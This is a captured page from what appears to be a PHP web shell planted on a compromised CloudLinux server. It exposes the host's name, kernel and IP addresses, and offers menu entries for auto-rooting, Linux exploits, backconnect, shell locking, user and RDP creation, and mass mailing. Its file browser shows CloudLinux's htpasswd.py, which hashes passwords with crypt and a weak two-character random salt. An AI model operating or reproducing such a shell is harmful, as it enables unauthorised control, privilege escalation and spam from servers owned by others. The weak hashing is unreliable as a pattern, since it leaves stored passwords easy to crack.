Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.217.211.121
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
lvestats /
lib /
commons /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
219
B
-rw-r--r--
argparse_utils.py
10.98
KB
-rw-r--r--
dateutil.py
5.9
KB
-rw-r--r--
decorators.py
931
B
-rw-r--r--
func.py
15.82
KB
-rw-r--r--
htpasswd.py
2.15
KB
-rw-r--r--
litespeed.py
6.56
KB
-rw-r--r--
logsetup.py
4.45
KB
-rw-r--r--
proctitle.py
2.81
KB
-rw-r--r--
profiler.py
651
B
-rw-r--r--
progress.py
1.09
KB
-rw-r--r--
sentry.py
6.35
KB
-rw-r--r--
server_status.py
1.33
KB
-rw-r--r--
sizeutil.py
2.7
KB
-rw-r--r--
users_manager.py
3.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : htpasswd.py
# coding=utf-8 # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import absolute_import import os import random import crypt __author__ = "Eli Carter" class HtpasswdDoesNotExists(Exception): pass def salt(): """ Returns a string of 2 randome letters """ letters = 'abcdefghijklmnopqrstuvwxyz' \ 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' \ '0123456789/.' return random.choice(letters) + random.choice(letters) class HtpasswdFile(object): """ A class for manipulating htpasswd files. """ def __init__(self, filename, create=False): self.entries = [] self.filename = filename if not create: if os.path.exists(self.filename): self.load() else: raise HtpasswdDoesNotExists("%s does not exist" % self.filename) def load(self): """ Read the htpasswd file into memory. """ lines = open(self.filename, 'r').readlines() self.entries = [] for line in lines: username, pwhash = line.split(':') entry = [username, pwhash.rstrip()] self.entries.append(entry) def save(self): """ Write the htpasswd file to disk """ open(self.filename, 'w').writelines(["%s:%s\n" % (entry[0], entry[1]) for entry in self.entries]) def update(self, username, password): """ Replace the entry for the given user, or add it if new. """ pwhash = crypt.crypt(password, salt()) matching_entries = [entry for entry in self.entries if entry[0] == username] if matching_entries: matching_entries[0][1] = pwhash else: self.entries.append([username, pwhash]) def delete(self, username): """ Remove the entry for the given user. """ self.entries = [entry for entry in self.entries if entry[0] != username]
Close